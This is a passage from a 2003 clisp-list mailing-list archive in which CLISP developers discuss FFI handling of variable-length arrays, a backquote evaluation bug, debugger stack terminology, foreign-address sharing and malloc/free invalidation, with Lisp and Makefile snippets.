              (destlen ffi:ulong :in-out)
              (source (ffi:c-ptr (ffi:c-array ffi:uint8 is_len(sourcelen)))=
)
              (sourcelen ffi:ulong))
  (:return-type ffi:int))

Isn't that much simpler than all this cumbersome and error-prone
low-level handling with buffers, memory, arrays, their sizes, etc.?

CLISP's declarative DEF-CALL-OUT already manages to provide a FFI
definition for many many foreign functions. I believe something like
the above is likely to provide 80% of the remaining needs.

Feel free to investigate defining such a form. If you do, consider
making it powerful enough to handle Postgres' string quoting function:
http://cert.uni-stuttgart.de/doc/postgresql/escape/

size_t PQescapeString (char *to, const char *from, size_t length);

"The from points to the first character of the string which is to be
escaped, and the length parameter counts the number of characters in
this string (a terminating NUL character is neither necessary nor
counted).  to shall point to a buffer which is able to hold at least
one more character than twice the value of length, otherwise the
behavior is undefined.  A call to PQescapeString writes an escaped
version of the from string to the to buffer, replacing special
characters so that they cannot cause any harm, and adding a
terminating NUL character. PQescapeString returns the number of
characters written to to, not including the terminating NUL character.
Behavior is undefined when the to and from strings overlap."

One may argue that its parameter usage is badly designed, if not
braindead.

The difficulty I see here in finding a way to declaratively express
the required interface is that the size of the to buffer and the
number of useful bytes come from to different places (1+ (* length 2))
vs. the return value, as opposed to compress' destlen :in-out
parameter.

Writing wrappers by hand on a case by case basis maybe error-prone,
but it is straightforward. It doesn't require much brain.


=09=09Summary

o By all means, use C-STRING or (C-ARRAY-PTR type) whereever possible.
o Foreign places provide a somewhat elegant, at least compact, however
  inefficient way of working on foreign structures.
o The required DEF-CALL-OUT parameter declarations depend on the
  wrapper. There's no "one declaration for all uses" as in C.
o A worthwhile approach instead of writing ad hoc code which every
  time loooks similar (with-foreign-object etc.) would be to provide
  a DEF-VARLEN-CALL-OUT macro which would encapsulate all this
  with-foreign-object, foreign-value, subseq etc. code.

(def-lib-call-out zlib-compress [eventually library]
  (:name "compress")
  (:arguments (dest C-POINTER :in #|:guard (zerop return)|#)
              (destlen ulong :in-out)
              (source (c-array-ptr uint8))
              (sourcelen ulong))
  (:return-type ffi:int)
  (:language :stdc))

(defun my-compress (sourcebytes)
  "Accepts an array of bytes and returns a vector of its compressed content=
s."
  (let* ((sourcelen (length source))
         (destlen (+ 12 (ceiling (* sourcelen 1.05)))))
    (WITH-C-VAR (dest uint8 :count destlen))
      (multiple-value-bind (status actual)
          (zlib-compress (C-VAR-ADDRESS dest) destlen sourcebytes sourcelen=
)
=09(if (zerop status)
=09  (OFFSET dest 0 `(C-ARRAY UINT8 ,actual))
=09  (error "zlib::compress error code ~D" status))))))


Things not (yet) in CLISP:
o DEF-CALL-VAR-OUT macro for variable length arrays
o :count extension to WITH-FOREIGN-OBJECT and WITH-C-VAR
o rename OFFSET* SLOT* ELEMENT* etc. instead of %OFFSET %SLOT
o exporting FOREIGN-VALUE and OFFSET* etc. from FFI
o export and document FFI:PARSE-C-TYPE and its converse
o FOREIGN-ADDRESS-FUNCTION (so far only part of my dynload patch)
o dynamic library call out (dynload patch to be completed)
o FOREIGN-ADDRESS-VARIABLE (if not reusing CAST)
o possibly make CALL-OUT code accept FOREIGN-VARIABLE objects where
  type C-POINTER is expected (so far only FOREIGN-ADDRESS)
o WITH-FOREIGN-PLACE macro
o compile-time or load-time inlining of constant PARSE-C-TYPE use as
  in (deep-malloc 'uint8 :size (foo x)) or with-foreign-object ...
o ...

I appreciate comments,
=09J=F6rg H=F6hle.


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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE0287A252@G8PQD.blf01.telekom.de>
> * On the subject of "FFI howto: variable length arrays (long)"
> * Sent on Wed, 5 Mar 2003 16:04:26 +0100
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> The CLISP FFI contains macros to operate on what is called foreign
> places. In the future, it will export their lower-level functional
> counterparts which operate on FOREIGN-VARIABLE objects, as obtained by
> e.g. with-foreign-object.  These functions shall have a trailing * in
> their name, e.g. ELEMENT* instead of ELEMENT, etc. (It's undecided
> whether I should rename FOREIGN-VALUE to FOREIGN-VALUE* for coherence,
> or only rename in case of name duplication -- please tell me).

yuk.  CLISP has %ELEMENT.  Why not use ELEMENT for the exported
interface if it is to be different from %ELEMENT (or just rename
%ELEMENT to ELEMENT and export it if they are the same)?
ELEMENT* looks too much like MEMBER* in Emacs-Lisp.



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Sam Steingold wrote:
>yuk.  CLISP has %ELEMENT.  Why not use ELEMENT for the exported
>interface if it is to be different from %ELEMENT (or just rename
>%ELEMENT to ELEMENT and export it if they are the same)?
>ELEMENT* looks too much like MEMBER* in Emacs-Lisp.

They are not the same.

Element has been a macro providing compile-time error checking since day 1 of the FFI. I don't want to change that.

ELEMENT place indices* -> value

What I want to introduce is a function operating on a foreign-variable object.

ELEMENT* fv indices* -> value

I choose a trailing star to indicate proximity to the macro.
My Emacs-20.7 does not have member*.
A trailing or preceding % has a long Lisp history of "system-internal - don't dare to touch" which is not suitable for an exported interface.


BTW, one does not see much of a difference with ELEMENT. Let's talk about CAST instead. CAST additionaly takes a foreign type description.

I realized yesterday that I forgot talking about another advantage of ELEMENT/CAST etc.: so far they successfully managed (for better or worse) to hide the internal foreign type representation from the programmer. I want to define a lower-level interface where this becomes visible.

CAST place foreign-type -> place ; well-known, no change
 (CAST dest `(c-array uint8 ,actual))

CAST* foreign-variable internal-type -> foreign-variable
 (CAST* dest-fv (PARSE-C-TYPE `(c-array uint8 ,actual)))

I actually don't want
 (CAST* dest-fv `(c-array uint8 ,actual))
because
1. that would mean there's still another level below (the current %CAST) which would operate on the internal type instead of high-level type descriptions;
  (defun CAST* (fv type) (%CAST fv (PARSE-C-TYPE type))) ; no!
2. programmers would be able to handle type descriptions like objects, store them, pass them around etc.;
3. and still have guarantees that the amount of run-time parsing is minimised.


The same thought applies to FOREIGN-ADDRESS-VARIABLE/FUNCTION and all functions which accept type descriptions.

Another approach, maybe to be called "status quo", would be
- do not define nor export CAST* etc.
+ instead, use WITH-FOREIGN-PLACE and its converse C-VAR-OBJECT
 and have the programmer always operate on places.
- concerns about danger of automatic dereferencing still apply.

(defun foo (n)
  (simple-calloc 'uint8 :count n :read-only t))
(setq x (foo 300))
(some-foreign-function x)

(defun checksum (fv-object)      ; extremely inefficient in CLISP
  (with-foreign-place (buffer fv-object)
   (values
    (loop for i from 0 below (SIZEOF buffer)
          ;; only works on byte buffers where sizeof = length
          ;; maybe should use (third (TYPEOF buffer))
          sum (ELEMENT buffer i))
    (C-VAR-OBJECT (offset memory 0 `(c-array-max character 32))))))
(checksum x) -> 5234 ; #<FOREIGN-VARIABLE of type (c-array-max character 32)>

Let's not forget: my article did not mention that operating on foreign places is in CLISP an extremely expensive operation. The above checksum functions runs *several* orders of a magnitude slower than its native code counterpart which one could code using CMUCL, CormanLisp, xyz-Lisp or C.
1. byte-code overhead, not to be avoided in CLISP
2. ELEMENT overhead: for every index position, a new foreign-variable object is created, then thrown away...

But with-foreign-place does not help for FOREIGN-ADDRESS-FUNCTION etc., only for ELEMENT, SLOT, CAST, OFFSET.

Regards,
	Jorg Hohle.


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The attached code is a test case intended to isolate this problem I have
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The WinXP machine is running Clisp 2.30 and WinXP SP-1

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I've known about this issue quite some time. It's either a bug,
or there is some subtlety about backquotes that I don't understand.

;;; expected result:  (FOO `(BAR (BAZ 'A A) (BAZ 'B B) (BAZ 'C C)))
;;; CLISP result:     (FOO `(BAR NIL NIL NIL NIL))

(defun breaks-on-clisp ()
  (let ((list '(a b c d)))
    `(foo `(bar ,@',(mapcar #'(lambda (sym)
				`(baz ',sym ,sym))
			    list)))))

;;; moving (mapcar ...) to a function fixes it:

(defun factored-out (list)
  (mapcar #'(lambda (sym) `(baz ',sym ,sym))
	  list))

(defun does-not-break ()
  (let ((list '(a b c d)))
    `(foo `(bar ,@',(factored-out list)))))


It looks like backquote is confused; it's doing something wrong
with the `(baz ',sym ,sym) even though that occurs in a doubly-unquoted
context. You can see that MAPCAR iterates the right number of times,
but the lambda is returning NIL for some bizarre reason.



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On Fri, 7 Mar 2003, Kaz Kylheku wrote:

> I've known about this issue quite some time. It's either a bug,
> or there is some subtlety about backquotes that I don't understand.

I have more information that may be useful. Firstly, here is a smaller
piece of code that reproduces the problem:

 (let ((x 3)) ``,,`,x) 

 ==> `,NIL

Secondly, I have a suspicion that this has to do with the third
parameter of the SYSTEM::BACKQUOTE form being deleted.

Check this out; suppose we manually construct a backquote form like
this:

  (list 'system::backquote (list 'system::unquote 3))

  ==> `,3

It looks good when printed, right? But a third element is missing that
is needed by the system::backquote evaluator, but not the
pretty-printer, so when we do this:

 (eval (list 'system::backquote (list 'system::unquote 3)))

 ==> NIL

Ooops, the value should be 3! Now let's put in that missing third
element, but let's lie with a wrong value just for dramatic effect:

 (eval (list 'system::backquote 
             (list 'system::unquote 3)
             42))

 ==> 42

Clearly, the value comes from the third element.

My suspicion is that when a form like 

 (let ((x 3)) ``,,`,x) 

is processed, the inner-most `,x expression is somehow translated into
a SYSTEM::BACKQUOTE form with a missing third element. 

In the backquote.lisp implementation file there is a remove-backquote-third
function which does the job of recursively stripping these third elements;
perhaps it is involved in some way, such as being inappropriately applied
or whatever.

Hope this helps. I'm trying to debug this myself, but I can't read
German, so I'm slow! ;)



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On Sat, 8 Mar 2003, Kaz Kylheku wrote:

> > I've known about this issue quite some time. It's either a bug,
> > or there is some subtlety about backquotes that I don't understand.
> 
> I have more information that may be useful. Firstly, here is a smaller
> piece of code that reproduces the problem:
> 
>  (let ((x 3)) ``,,`,x) 
> 
>  ==> `,NIL

Even smaller, doh:

 ``,,`,3

 ==> `,NIL

Now for some really strange stuff: what is hiding behind the above
`,NIL form? Here is a trick: if we coerce it to a vector, the guts
become visible:

  (coerce ``,,`,3 'vector)

  ==> #(SYSTEM::BACKQUOTE (SYSTEM::UNQUOTE NIL) 3)

The third element *is* there, but the unquote form is screwed! So this
actually works:

  (eval ``,,`,3)
  ==> 3

Whee! (eval `,NIL) is 3.



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The following message has been posted to the Docbook mailing
list. Maybe the maintainers of CLISP documentation could be interested.

> From: Henrik Motakef <henrik.motakef@web.de>
> Sender: henrik.motakef@web.de
> To: james anderson <james.anderson@setf.de>
> Cc: docbook@lists.oasis-open.org
> Subject: Re: DOCBOOK: using docbook for CLOS
> Date: Thu, 06 Mar 2003 23:05:20 +0100
> 
> james anderson <james.anderson@setf.de> writes:
> 
> > is anyone using docbook to encode documentation for clos-based systems?
> 
> The SBCL folks use docbook for their documentation, maybe one of them
> can help.
> 
> IIRC, they are not all too happy with it, and CLOS might be a reason
> why. Incidentally, I recently started to think about extending docbook
> to be a better fit for CL documentation, but a) I don't know if it's a
> good idea yet, b) I don't really have anything to show (I'm not
> exactly a docbook god, a cl-docbook would serve the two goals of
> helping me document CL stuff and learning more about docbook at the
> same time for me).
> 
> Regards
> Henrik


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> * In message <15979.24309.484346.187606@dalet.fauser.it>
> * On the subject of "Using docbook for CLOS"
> * Sent on Sun, 9 Mar 2003 16:34:13 +0100
> * Honorable Aurelio Bignoli <a.bignoli@computer.org> writes:
>
> The following message has been posted to the Docbook mailing
> list. Maybe the maintainers of CLISP documentation could be
> interested.

I read that mailing list via Gmane but I cannot post because it is a
closed mailing list (and I no longer subscribe to non-mailman mailing
lists because I do not have the time and inclination to figure out the
commands of every idiosyncratic mailing list handler - ezml/majordomo &c...)

If you are subscribed, please send them the following note:

CLISP uses DocBook/XML for its implementation notes.
See
<http://clisp.cons.org/impnotes.html>
<http://clisp.cons.org/impnotes/>
<http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/clisp/clisp/doc/>

CLOCC/cllib/clhs.lisp generates DocBook/XML entities, see
<http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/clisp/clisp/doc/clhs-ent.xml>
<http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/clocc/etc/clhs-ent.xml>
<http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/clocc/src/cllib/clhs.lisp>

Thanks.

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> * In message <Pine.GSO.4.05.10303061754320.7557-200000@redwood.snu.ac.kr>
> * On the subject of "socket-wait problem on WinXP"
> * Sent on Thu, 6 Mar 2003 18:14:21 +0900 (KST)
> * Honorable Jamison Masse <jamison@redwood.snu.ac.kr> writes:
>
> The attached code is a test case intended to isolate this problem I
> have been having with connecting multiple clients to a server. I want
> to occasionally poll the socket to see if there are any clients
> waiting for a connection. Under linux this code loops until a
> connection is made by a client, as expected, but under WinXP the loop
> never terminates, the client connects and is holding a connection to
> the server but the server code doesn't acknowledge the connection. Is
> this a bug?
> 
> The WinXP machine is running Clisp 2.30 and WinXP SP-1

Arseny, could you please debug this?
Thanks!

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On Sat, 8 Mar 2003, Kaz Kylheku wrote:

> Secondly, I have a suspicion that this has to do with the third
> parameter of the SYSTEM::BACKQUOTE form being deleted.

Indeed this is the problem, witness:

Bug, where is the (LIST X)?

    ``,,(coerce '`(,x) 'vector))

    ==> `,#(SYSTEM::BACKQUOTE ((SYSTEM::UNQUOTE X)))


Normal behavior, third element is there:

    (coerce '`(,x) 'vector) 

    ==> #(SYSTEM::BACKQUOTE ((SYSTEM::UNQUOTE X)) (LIST X))

So it looks like there are at least two bugs: in some cases the third
element of the SYSTEM::BACKUOTE form is being eaten, and in some other
cases, the second element is mangled to contain a NIL:

    (coerce ``,,`,3 'vector)  ; note: backquote is evaluated 

    ==> #(SYSTEM::BACKQUOTE (SYSTEM::UNQUOTE NIL) 3)

This second bug is not quite as serious; it must means that the printed
representation of the backquote is wrong, but it evaluates right.  But
obviously if you are spitting data out to text and expecting to read it
back, and it contains a backquote that was wrongly printed as ',NIL
rather than ',<whatever>, that is a problem.



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> * In message <Pine.LNX.4.44.0303081850410.5692-100000@ashi.FootPrints.net>
> * On the subject of "Re: Strange backquote bug, or so I think."
> * Sent on Sat, 8 Mar 2003 19:00:47 -0800 (PST)
> * Honorable Kaz Kylheku <kaz@ashi.footprints.net> writes:
>
> I'm trying to debug this myself, but I can't read German, so I'm slow!
> ;)

Mirian Lennox <mirian@cosmic.com> translated the comments in
backquote.lisp on 2003-01-18.
thus, the current CVS head has comments in English.

Good luck!

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Date: Mon Mar 10 00:39:06 2003
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Hi,

I've been asked for sample Makefiles. Here's what I added somewhere amid the makefile(.msvc5/6) that comes with the CLISP source.

See also my e-mail "now you can use the regexp module on MS-Windows" from 27.3.2002 which contains a makefile sample for modules/regexp/.


Matthew Williams wrote:
>modules.obj: error LNK2001: unresolved external symbol
>_module__mtest__init_function_2
>lisp:exe : fatal error LNK1120: 8 unresolved externals

################################ Joerg's module playground
genclisph.exe : genclisph.obj
	$(CC) $(CFLAGS) $(CLFLAGS) genclisph.obj /Fegenclisph.exe
clisp.h : genclisph.exe
	genclisph.exe > clisp.h

MODOBJECTS = \
ffimext.obj \
mtest.obj \
mcode.obj

# mtest.c ought to be generated from mtest.lisp FFI defs, while
# mcode.c contains hand-written C code.

mtest.obj : mtest.c clisp.h
	$(CC) $(CFLAGS) -c mtest.c
mcode.obj : mcode.c
	$(CC) $(CFLAGS) -c mcode.c

ffimext.c : ffimext.d # comment5.exe ansidecl.exe varbrace.exe
	$(COMMENT5) ffimext.d | $(ANSIDECL) | $(VARBRACE) > ffimext.c
ffimext.obj : ffimext.c sysdll.h # clisp.h
	$(CPP) $(CFLAGS) ffimext.c > ffimext.i.c
	$(CC) $(CFLAGS) -c ffimext.i.c
	$(RM) ffimext.obj
	$(MV) ffimext.i.obj ffimext.obj
	$(RM) ffimext.i.c

lispm.exe : $(MODOBJECTS) $(OBJECTS) modules.obj avcall.lib callback.lib iconv.lib sigsegv.lib data
	$(RM) lisp.ilk
	$(CC) $(CFLAGS) $(CLFLAGS) $(MODOBJECTS) $(OBJECTS) modules.obj $(LIBS) /link /out:lispm.exe
	editbin /stack:3145728 lispm.exe

It's all copy&paste&replace from other portions of the makefile. Note the lispm.exe target (instead of lisp.exe).

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	Jorg Hohle.


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Hi,

everytime I enter the CLISP debugger, I start to sweat because I feel =
uncomfortable. If I do more than "abort/continue/:a" then I must issue =
the HELP command. Why?

In the output of help, I'm looking for the single most important line:
>Bottom    :b       go to bottom (most recent) frame, inspect it

Aha, so the bottom is the newest - surprise?. My brain now has to =
backtrack, and it is well known that the human brain is bad at that.

Likewise, when I look at the description of many procedures (UP) in the =
C source code, there are comments like
 # UP: tests the limits for a String argument
 # increases STACK by 3
Question: will there be more or less arguments on the stack afterwards?
What would be your response?

My mental representation of a stack is that of a pile of paper. It =
realises last-in-first-out (LIFO). The newest is at the top, the oldest =
is hidden at the bottom, long forgotten. What is yours?

"Increasing" the stack to me means putting more on it. In CLISP, it's =
just the opposite.

Similarly, I believe computer science or stack-oriented languages like =
Forth have a concept of "top of stack" (TOS or ToS): "top" designates =
the newest element, the one that will be popped next (if the stack is =
not empty).

In natural language or in psychology, going down means go to deeper =
levels of memory or details - long seemingly forgotten things. C.G. =
Young explained in his symbolic interpretation of dreams how a house's =
cellar - at the bottom - not the houses' roof (loft) is a place where =
you look for things of the past.

CLISP's way is just the opposite of each of these usages.

My model of a stack is not that of a stalactite where the newest drops =
of water hang out at the bottom. What is your model of CLISP's stack?

I suppose CLISP's usage of stack direction is based on a model of the =
680x0 processor, whose stack register A7 moves downwards - in terms of =
memory addresses - when things are pushed on the stack (CLISP started =
out in assembly language on an Atari computer), as do other processors =
(80z86 etc.).

Shall the effect of debugger commands like UP/DOWN and higher-level =
program documentation depend on the direction of the register of some =
processor the user does not care about? Say no!

For years now, CLISP has imposed cognitive load and effort on me. Maybe =
it's time to put at end to that.
a) I stop using CLISP
b) I stop complaining
c) Comments in code get reversed, as well as the debugger commands.

Thanks for your attention,
	J=F6rg H=F6hle.


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Aurelio Bignoli wrote:
> > Note how I passed (FOREIGN-ADDRESS dest)
>I couldn't find it:

It looks like I forgot to submit a patch implementing the foreign-address constructor/extractor. I'm sorry about that. Here it is:

http://sourceforge.net/tracker/index.php?func=detail&aid=700802&group_id=1355&atid=301355

As a quick hack & stop-gap measure, here's one version from "my FFI Lisp hacks toolbox #1", sent to the list on April, 12th 2002:

(in-package "FFI")
(defun foreign-address (foreign)
  (etypecase foreign
     (ffi:foreign-address foreign)
     ((or ffi:foreign-variable ffi:foreign-function)
      (sys::%record-ref foreign 1))))

You ought to wrap this inside
(unless (fboundp 'foreign-address)
  (defun ...))
until you get an official CLISP with the foreign-address function already in it.

The patch file in sourceforge contains a C implementation instead, and documentation.

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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE0287AAF2@G8PQD.blf01.telekom.de>
> * On the subject of "[clisp-list] on "increases STACK by n" in the CLISP source and up/down in the debugger"
> * Sent on Mon, 10 Mar 2003 10:51:51 +0100
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
>  # UP: tests the limits for a String argument
>  # increases STACK by 3
> Question: will there be more or less arguments on the stack afterwards?
> What would be your response?

I could never understand this either.
I prefer "adds 3 objects to STACK" or "removes 4 objects from STACK"
or just "skipSTACK(-3)" or "skipSTACK(4)".

> My mental representation of a stack is that of a pile of paper. It
> realises last-in-first-out (LIFO). The newest is at the top, the
> oldest is hidden at the bottom, long forgotten. What is yours?

when I type bt, I want the most important, i.e., the most recent frame
to be the last one printed, so that I won't have to scroll back up to
see where I am (thus I _want_ bottom to mean bottom of the screen _and_
most recent frame).
Unfortunately, this is not easy to implement, so both gdb and clisp
print the most recent frames at the top of the backtrace.
what about other debuggers?

> "Increasing" the stack to me means putting more on it.

stack supports PUSH and POP.  there is no INCF for stacks.
so "increasing the stack" is a TYPE-ERROR.

> c) Comments in code get reversed, as well as the debugger commands.

Proposal:
code comments: replace decrease/increase with push/pop
debugger help: top == most recent.

what do people think?

Actually, I would like to replace comments "can trigger GC" with
declarations GC_unsafe and comments "pushes 3 objects on the stack"
with declarations push_STACK(3). E.g., get_buffers() in io.d will look
like this:

GC_unsafe push_stack(2) local void get_buffers (void) {}

instead of

# < STACK: decreased by 2
# can trigger GC
local void get_buffers (void) {}


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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE0287ABBF@G8PQD.blf01.telekom.de>
> * On the subject of "[clisp-list] FFI:foreign-address function"
> * Sent on Mon, 10 Mar 2003 13:45:53 +0100
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> Aurelio Bignoli wrote:
> > > Note how I passed (FOREIGN-ADDRESS dest)
> >I couldn't find it:
> 
> (in-package "FFI")
> (defun foreign-address (foreign)
>   (etypecase foreign
>      (ffi:foreign-address foreign)
>      ((or ffi:foreign-variable ffi:foreign-function)
>       (sys::%record-ref foreign 1))))

or just

(defun foreign-address (o)
  (ffi::unsigned-foreign-address (ffi::foreign-address-unsigned o)))

(works right now!)

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Sam Steingold suggested:
>(defun foreign-address (o)
>  (ffi::unsigned-foreign-address (ffi::foreign-address-unsigned o)))

Don't do this. It does not preserve EQ-ness of foreign-address objects.

EQ-ness is important because of
1. VALIDP
2. MARK-INVALID-FOREIGN
3. sharing
4. FINALIZE

In fact, I have a whole concept sitting in my brain about sharing FOREIGN-POINTER and FOREIGN-ADDRESS objects, with the ability to mark all related objects as invalid with a single MARK-INVALID-FOREIGN, and another concept not yet well thought out of bringing some of them back to life again, e.g. when restarting an image containing functions from a foreign library.

The Amiga-CLISP FFI has shared foreign library bases for 7 years now, resurrecting foreign variables and functions based on this sharing of address objects. In fact, the Amiga is why CLISP got two separate FOREIGN-POINTER and FOREIGN-ADDRESS objects, where the latter encapsulates the former with the addition of a constant offset.

My WITH-FOREIGN-STRING and -OBJECT macros (or rather, their functional equivalents) already mark the base pointers as stale when scope exits, preventing use of stale memory addresses.

I recommend MARK-INVALID-FOREIGN to people using the new dynamic memory allocation functions FFI:DEEP-MALLOC and FFI:SIMPLE-CALLOC. This will safe you from C diseases of using deallocated memory via dangling pointers (see my malloc+free patch in sourceforge). If somebody asks, I'll explain why FOREIGN-FREE doesn't do this automatically.

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	Jorg Hohle.


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Hi,

I wrote:
>If somebody asks, I'll explain why 
>FOREIGN-FREE doesn't do this [invoke MARK-INVALID-FOREIGN] automatically.

before seeing that Sam Steingold asked:
>why doesn't foreign-free mark the object as invalid?!

It would indeed be a safe thing to do on simple foreign memory. What I call simple is something where a single memory allocation was performed, e.g. what FFI:SIMPLE-CALLOC does.

However, DEEP-MALLOC can perform many malloc() for arbitrarily nested substructures, as required by the foreign type. Yet it returns a single address to represent all of them.

BTW, other FFI typically only have SIMPLE-CALLOC (UFFI, or perhaps with initialization, instead of all zeroes, like LW).

Even a trivial-looking (DEEP-MALLOC 'c-string "abc") performs two allocations, as I mentioned in the documentation.

FOREIGN-FREE, using the :FULL keyword is able to walk the foreign type declaration and free any complex structure.

How to free any of these chunks individually, if the programmer needs that?

Because of FOREIGN-ADDRESS sharing, DEREF, SLOT etc., when they return a foreign-variable object (or foreign place), all share the same object. This is valuable for stack-allocated foreign objects, but less so for individually malloc()'ed memory.

Suppose you'd like to free the root address only. If you mark the base foreign-address as invalid, all others will be marked likewise and become unusable.

Therefore, the programmer also needs a way to control sharing of pointer bases (and those offsets), which I have not yet fully devised. SET-FOREIGN-BASE was a candidate name.

I defined a keyword-based interface for FOREIGN-FREE, with an eye on a future :mark-invalid option. However, I wanted to get working code out, for it had been sitting in my source tree for too long already, and I believe I cannot present FOREIGN-FREE :mark-invalid without explaining or providing a model for controlling the address sharing that CLISP does. I am not ready for that.

So I agreed to disagree :), to move forward faster by providing a usable malloc() interface to CLISP users, a separate MARK-INVALID-FOREIGN function and to delay a hypothetical 100% solution.

Yet I myself would like to be able to say
(FINALIZE fv #'FREE+INVALIDATE)
using a single provided function instead of repeating the same lambda every time:
(FINALIZE fv
  #'(lambda (fv)
      (mark-invalid-foreign fv)
      (foreign-free fv :full t-or-nil-as-needed-by-the-individual-case)))

Also, an automatic (FINALIZE fv #'FREE) done by SIMPLE-CALLOC or DEEP-MALLOC would be a bad idea in CLISP. This advice is specific to CLISP, because CLISP supports the :malloc-free allocation policy (though I believe there's very little use of it). The idea is that the foreign side may do the free(), Lisp would not know about it, thus FINALIZE would call it twice, which dumps core.
OTOH, CormanLisp does automatic finalization of the dynamic memory it allocates and returns. It certainly is useful in most cases (>90%?)

Talking about comparisons, what I like best is Lispworks' with-dynamic-objects (sp?): Upon dynamic exit of its scope, all malloc() which any FLI function did are free()ed. That is a reliable way of not forgetting some of them!
I believe this is useful it most cases, as UNWIND-PROTECT is. In only a few cases would you like memory to live longer (cf. using OPEN vs. WITH-OPEN-FILE).

However, I feel this is contradictory to CLISP's :malloc-free allocation policy where it is explicitly acknowledged cases where foreign code calls free() on memory allocated by Lisp. This is not covered in Lispworks or CormanLisp.

It looks to me like two incompatible design paths. Depending on current fashion (like OO etc.) and time, one seems to cover more useful cases than the other. Typical for Java/C++/Ada style OO is more: allocation and deallocation is controlled on the same side, so there's nothing like malloc() here and free() there.


I thought about adding malloc()/free() statistics to the output of EXT:SPACE. But I cannot count the number of bytes free() frees without duplicating its internal knowledge, which is a bad idea. Furthermore, I can not catch foreign free() or malloc() calls (to generate instances+bytes output for EXT:SPACE).
I dismissed this, based on the idea that it would cost me a lot of effort to implement it in a 100% manner, with rare benefit to the programmer. It's a typical "nice/valuable to be able to turn on debug/logging/tracing/auditing mode on when needed" item.
An easy option would be SPACE output where either bytes would always be empty, or a varying format line like "permanent-instances temporary-instances total-bytes-allocated".


I thought about SETF VALID T/NIL in the past. Setf NIL would be ok. However, I decided it's a bad idea to reactivate a zombie address from the Lisp level. This shall be done by lower-level C code, which has much farther possibilities than the Lisp level, e.g. overwriting the bits of the pointer to point to a new address, preserving EQ-ness. The Lisp-level interface to controlling foreign-bases that I thought about is more limited, yet is supposed to cover enough cases. Think of how using C code, you could change the bits of a bignum object (I'd have uses for that), while at Lisp-level it's not possible. Live with that limitation in Lisp, accept MARK-INVALID-FOREIGN (which I found positive that it's more visible than setf on VALIDP) and remember C if you need more than that.

And there's this voice whispering "over-engineered" somewhere around the CLISP FFI and me working on it. Hmm, how did I end up here?

Regards,
	Jorg Hohle.


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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    >> * In message <15979.24309.484346.187606@dalet.fauser.it>
    >> * On the subject of "Using docbook for CLOS"
    >> * Sent on Sun, 9 Mar 2003 16:34:13 +0100
    >> * Honorable Aurelio Bignoli <a.bignoli@computer.org> writes:
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    >> The following message has been posted to the Docbook mailing
    >> list. Maybe the maintainers of CLISP documentation could be
    >> interested.

    Sam> I read that mailing list via Gmane but I cannot post because it is a
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Hmm, I do the same, but use a newsreader to access the list.  On the
first posting, I have to authenticate myself once to Gmane by
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> * In message <4n4r6aow2t.fsf@edgedsp4.rtp.ericsson.se>
> * On the subject of "Re: [clisp-list] Re: Using docbook for CLOS"
> * Sent on 11 Mar 2003 08:46:02 -0500
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> >>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
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>     Sam> I read that mailing list via Gmane but I cannot post because it is a
>     Sam> closed mailing list (and I no longer subscribe to non-mailman mailing
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> Hmm, I do the same, but use a newsreader to access the list.  On the
> first posting, I have to authenticate myself once to Gmane by
> responding to it's e-mail request, but once authenticated, I no longer
> have to.

yes, I do too, but the docbook mailing lists are marked "read-only" and
gmane refuses to post there:

You have tried posting to gmane.text.docbook.misc, which is a non-public
mailing list.  Gmane can therefore not send this message
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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    Sam> yes, I do too, but the docbook mailing lists are marked "read-only" and
    Sam> gmane refuses to post there:

    Sam> You have tried posting to gmane.text.docbook.misc, which is a non-public
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Sorry, my fault.  I misunderstood what list was being discussed.  I
don't read that.

Oops! :-)

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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE02B4DA59@G8PQD.blf01.telekom.de>
> * On the subject of "[clisp-list] on FFI:mark-invalid-foreign, malloc() and finalization"
> * Sent on Tue, 11 Mar 2003 11:24:40 +0100
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> >If somebody asks, I'll explain why 
> >FOREIGN-FREE doesn't do this [invoke MARK-INVALID-FOREIGN] automatically.

there is no MARK-INVALID-FOREIGN and I think VALIDP should be setfable instead.

> Suppose you'd like to free the root address only. If you mark the base
> foreign-address as invalid, all others will be marked likewise and
> become unusable.

whatever is free()d, must be marked invalid.
a segfault in CLISP is a bug in CLISP (except, of course, the FFI :-),
so we should always barf on an attempt to free() the same memory twice.

if you want to release only the root, you setf the lower level pointers
to NULL, then call FOREIGN-FREE, which will release everything (and
invalidate the root.)

> I thought about SETF VALID T/NIL in the past. Setf NIL would be
> ok. However, I decided it's a bad idea to reactivate a zombie address
> from the Lisp level. This shall be done by lower-level C code, which
> has much farther possibilities than the Lisp level, e.g. overwriting
> the bits of the pointer to point to a new address, preserving
> EQ-ness. The Lisp-level interface to controlling foreign-bases that I
> thought about is more limited, yet is supposed to cover enough
> cases. Think of how using C code, you could change the bits of a
> bignum object (I'd have uses for that), while at Lisp-level it's not
> possible. Live with that limitation in Lisp, accept
> MARK-INVALID-FOREIGN (which I found positive that it's more visible
> than setf on VALIDP) and remember C if you need more than that.

(defun (setf validp) (new-v obj)
  (if (eq new-v (validp obj))
      new-v
      (etypecase obj
        (foreign
          (if new-v
              (error "cannot resurrect a zombie - no voodoo in CLISP!")
              (invalidate-foreign-object obj))))))


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Sam answered one of my queries:
>>did I send a few weeks ago a RFE or e-mail or whatever
>> for either LIST-EXTERNAL-MODULES or *EXTERNAL-MODULES[-LIST]*?

>I don't remember anything like that.
>Why is this necessary?
>we have *MODULES* already.
That's for PROVIDE/REQUIRE.

I was talking about what CLISP calls external modules. CLISP could provide the list of module__fastseq__xyz things it knows as a list.

